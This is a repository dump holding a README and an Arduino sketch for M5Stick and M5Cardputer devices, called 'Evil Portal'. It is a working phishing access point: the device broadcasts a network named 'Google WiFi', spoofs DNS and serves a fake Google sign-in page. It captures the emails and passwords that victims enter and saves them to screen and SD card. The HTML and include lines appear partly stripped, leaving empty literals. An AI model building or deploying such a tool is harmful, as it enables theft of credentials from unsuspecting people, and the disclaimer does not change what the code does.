├── .gitignore
├── README.md
└── evil-portal
└── evil-portal.ino
/.gitignore:
--------------------------------------------------------------------------------
1 | **/build
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Evil Portal :: M5 Stick C Plus / M5 Cardputer
2 | `DISCLAIMER: This is for educational purposes only. Extracting passwords from unaware victims is illegal`
3 |
4 | ## Story
5 |
6 | A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access.
7 |
8 | # PTBR - 🇧🇷
9 |
10 | Projeto com o intuito de ser apenas educacional, não me responsabilizando pelos atos cometidos por terceiros, o código esta configurado com um exemplo.
--------------------------------------------------------------------------------
/evil-portal/evil-portal.ino:
--------------------------------------------------------------------------------
1 | // Based on https://github.com/n0xa/M5Stick-Stuph/blob/main/CaptPort/CaptPort.ino
2 |
3 | #include
4 | #include
5 | #include
6 |
7 | // #define M5STICKCPLUS
8 | #define M5CARDPUTER
9 |
10 | #if defined(M5STICKCPLUS) && defined(M5CARDPUTER)
11 | #error "Please define only one platform: M5STICKCPLUS or M5CARDPUTER"
12 | #endif
13 |
14 | #if defined(M5STICKCPLUS)
15 | #define DISPLAY M5.Lcd
16 | #define SPEAKER M5.Beep
17 | #define HAS_LED 10 // Number is equivalent to GPIO
18 | #define GPIO_LED 10
19 | // #define HAS_SDCARD
20 | #define SD_CLK_PIN 0
21 | #define SD_MISO_PIN 36 //25
22 | #define SD_MOSI_PIN 26
23 | // #define SD_CS_PIN
24 | #endif
25 |
26 | #if defined(M5CARDPUTER)
27 | #define DISPLAY M5Cardputer.Display
28 | #define SPEAKER M5Cardputer.Speaker
29 | #define KB M5Cardputer.Keyboard
30 | #define HAS_SDCARD
31 | #define SD_CLK_PIN 40
32 | #define SD_MISO_PIN 39
33 | #define SD_MOSI_PIN 14
34 | #define SD_CS_PIN 12
35 | #endif
36 |
37 | #if defined(HAS_SDCARD)
38 | #include
39 | #include
40 | #include
41 | #endif
42 |
43 | #if defined(M5STICKCPLUS)
44 | #include
45 | #elif defined(M5CARDPUTER)
46 | #include
47 | #endif
48 |
49 | #define DEFAULT_AP_SSID_NAME "Google WiFi"
50 | #define SD_CREDS_PATH "/evil-portal-creds.txt"
51 | // #define LANGUAGE_EN_US
52 | #define LANGUAGE_PT_BR
53 |
54 | #if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
55 | #error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
56 | #endif
57 |
58 | #if defined(LANGUAGE_EN_US)
59 | #define LOGIN_TITLE "Sign in"
60 | #define LOGIN_SUBTITLE "Use your Google Account"
61 | #define LOGIN_EMAIL_PLACEHOLDER "Email"
62 | #define LOGIN_PASSWORD_PLACEHOLDER "Password"
63 | #define LOGIN_MESSAGE "Please log in to browse securely."
64 | #define LOGIN_BUTTON "Next"
65 | #define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
66 | #elif defined(LANGUAGE_PT_BR)
67 | #define LOGIN_TITLE "Fazer login"
68 | #define LOGIN_SUBTITLE "Use sua Conta do Google"
69 | #define LOGIN_EMAIL_PLACEHOLDER "E-mail"
70 | #define LOGIN_PASSWORD_PLACEHOLDER "Senha"
71 | #define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
72 | #define LOGIN_BUTTON "Avançar"
73 | #define LOGIN_AFTER_MESSAGE "Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."
74 | #endif
75 |
76 | int totalCapturedCredentials = 0;
77 | int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
78 | String capturedCredentialsHtml = "";
79 | bool sdcardMounted = false;
80 | String apSsidName = String(DEFAULT_AP_SSID_NAME);
81 |
82 | #if defined(HAS_SDCARD)
83 | SPIClass* sdcardSPI = NULL;
84 | SemaphoreHandle_t sdcardSemaphore;
85 | #endif
86 |
87 | // Init System Settings
88 | const byte HTTP_CODE = 200;
89 | const byte DNS_PORT = 53;
90 | const byte TICK_TIMER = 1000;
91 | IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
92 | unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
93 | DNSServer dnsServer;
94 | WebServer webServer(80);
95 |
96 | void setup() {
97 | setupDeviceSettings();
98 | setupWiFi();
99 | setupWebServer();
100 | setupSdCard();
101 |
102 | bootTime = lastActivity = millis();
103 | }
104 |
105 | void setupDeviceSettings() {
106 | Serial.begin(115200);
107 | while (!Serial && millis() < 1000)
108 | ;
109 |
110 | #if defined(M5STICKCPLUS)
111 | M5.begin();
112 | DISPLAY.setRotation(3);
113 | #elif defined(M5CARDPUTER)
114 | M5Cardputer.begin();
115 | DISPLAY.setRotation(1);
116 | #endif
117 |
118 | #if defined(HAS_LED)
119 | pinMode(GPIO_LED, OUTPUT);
120 | digitalWrite(GPIO_LED, HIGH);
121 | #endif
122 |
123 | DISPLAY.fillScreen(BLACK);
124 | DISPLAY.setSwapBytes(true);
125 | DISPLAY.setTextSize(2);
126 | }
127 |
128 | bool setupSdCard() {
129 | #if defined(HAS_SDCARD)
130 | sdcardSemaphore = xSemaphoreCreateMutex();
131 | sdcardSPI = new SPIClass(FSPI);
132 | sdcardSPI->begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN);
133 |
134 | delay(10);
135 |
136 | if (!SD.begin(SD_CS_PIN, *sdcardSPI)) {
137 | Serial.println("Failed to mount SDCARD");
138 | return false;
139 | } else {
140 | Serial.println("SDCARD mounted successfully");
141 | sdcardMounted = true;
142 | return true;
143 | }
144 | #endif
145 | }
146 |
147 | void setupWiFi() {
148 | WiFi.mode(WIFI_AP);
149 | WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
150 | WiFi.softAP(apSsidName);
151 | }
152 |
153 | void setupWebServer() {
154 | dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
155 |
156 | webServer.on("/post", []() {
157 | totalCapturedCredentials = totalCapturedCredentials + 1;
158 |
159 | webServer.send(HTTP_CODE, "text/html", index_POST());
160 |
161 | #if defined(M5STICKCPLUS)
162 | SPEAKER.tone(4000);
163 | #elif defined(M5CARDPUTER)
164 | SPEAKER.tone(4000, 50);
165 | #endif
166 |
167 | DISPLAY.print("Victim Login");
168 |
169 | delay(50);
170 |
171 | #if defined(M5STICKCPLUS)
172 | SPEAKER.mute();
173 | #endif
174 |
175 | DISPLAY.fillScreen(BLACK);
176 |
177 | #if defined(HAS_LED)
178 | blinkLed();
179 | #endif
180 | });
181 |
182 | webServer.on("/creds", []() {
183 | webServer.send(HTTP_CODE, "text/html", creds_GET());
184 | });
185 |
186 | webServer.on("/clear", []() {
187 | webServer.send(HTTP_CODE, "text/html", clear_GET());
188 | });
189 |
190 | webServer.onNotFound([]() {
191 | lastActivity = millis();
192 | webServer.send(HTTP_CODE, "text/html", index_GET());
193 | });
194 |
195 | webServer.begin();
196 | }
197 |
198 | void loop() {
199 | if ((millis() - lastTick) > TICK_TIMER) {
200 |
201 | lastTick = millis();
202 |
203 | if (totalCapturedCredentials != previousTotalCapturedCredentials) {
204 | previousTotalCapturedCredentials = totalCapturedCredentials;
205 |
206 | printHomeToScreen();
207 | }
208 | }
209 |
210 | dnsServer.processNextRequest();
211 | webServer.handleClient();
212 | }
213 |
214 | void printHomeToScreen() {
215 | DISPLAY.fillScreen(BLACK);
216 | DISPLAY.setSwapBytes(true);
217 | DISPLAY.setTextSize(2);
218 | DISPLAY.setTextColor(TFT_RED, TFT_BLACK);
219 | DISPLAY.setCursor(0, 10);
220 | DISPLAY.print("EVIL PORTAL");
221 | DISPLAY.setTextColor(TFT_GREEN, TFT_BLACK);
222 | DISPLAY.setCursor(0, 35);
223 | DISPLAY.print("WiFi IP: ");
224 | DISPLAY.println(AP_GATEWAY);
225 | DISPLAY.printf("SSID: "); //, apSsidName);
226 | DISPLAY.print(apSsidName);
227 | DISPLAY.println("");
228 | DISPLAY.printf("Victim Count: %d\n", totalCapturedCredentials);
229 | }
230 |
231 | String getInputValue(String argName) {
232 | String a = webServer.arg(argName);
233 | a.replace("<", "<");
234 | a.replace(">", ">");
235 | a.substring(0, 200);
236 | return a;
237 | }
238 |
239 | String getHtmlContents(String body) {
240 | String html =
241 | ""
242 | ""
243 | ""
244 | " "
245 | + apSsidName + ""
246 | " "
247 | " "
248 | " "
249 | ""
250 | ""
251 | " "
252 | "
"
253 | " "
254 | " "
255 | "
"
256 | "
"
263 | "
"
264 | ""
265 | "";
266 | return html;
267 | }
268 |
269 | String creds_GET() {
270 | return getHtmlContents("" + capturedCredentialsHtml + "
Back to Index
Clear passwords
");
271 | }
272 |
273 | String index_GET() {
274 | String loginTitle = String(LOGIN_TITLE);
275 | String loginSubTitle = String(LOGIN_SUBTITLE);
276 | String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER);
277 | String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER);
278 | String loginMessage = String(LOGIN_MESSAGE);
279 | String loginButton = String(LOGIN_BUTTON);
280 |
281 | return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
282 | }
283 |
284 | String index_POST() {
285 | String email = getInputValue("email");
286 | String password = getInputValue("password");
287 | capturedCredentialsHtml = "Email: " + email + "Password: " + password + "" + capturedCredentialsHtml;
288 |
289 | #if defined(HAS_SDCARD)
290 | appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
291 | #endif
292 |
293 | return getHtmlContents(LOGIN_AFTER_MESSAGE);
294 | }
295 |
296 | String clear_GET() {
297 | String email = "";
298 | String password = "";
299 | capturedCredentialsHtml = "";
300 | totalCapturedCredentials = 0;
301 | return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtmlBack to Index");
302 | }
303 |
304 | #if defined(HAS_LED)
305 |
306 | void blinkLed() {
307 | int count = 0;
308 |
309 | while (count < 5) {
310 | digitalWrite(GPIO_LED, LOW);
311 | delay(500);
312 | digitalWrite(GPIO_LED, HIGH);
313 | delay(500);
314 | count = count + 1;
315 | }
316 | }
317 |
318 | #endif
319 |
320 | #if defined(HAS_SDCARD)
321 |
322 | void appendToFile(fs::FS& fs, const char* path, const char* text) {
323 | if (xSemaphoreTake(sdcardSemaphore, portMAX_DELAY) == pdTRUE) {
324 | File file = fs.open(path, FILE_APPEND);
325 |
326 | if (!file) {
327 | Serial.println("Failed to open file for appending");
328 | xSemaphoreGive(sdcardSemaphore);
329 | return;
330 | }
331 |
332 | Serial.printf("Appending text '%s' to file: %s\n", text, path);
333 |
334 | if (file.println(text)) {
335 | Serial.println("Text appended");
336 | } else {
337 | Serial.println("Append failed");
338 | }
339 |
340 | file.close();
341 |
342 | xSemaphoreGive(sdcardSemaphore);
343 | }
344 | }
345 |
346 | #endif
347 |
--------------------------------------------------------------------------------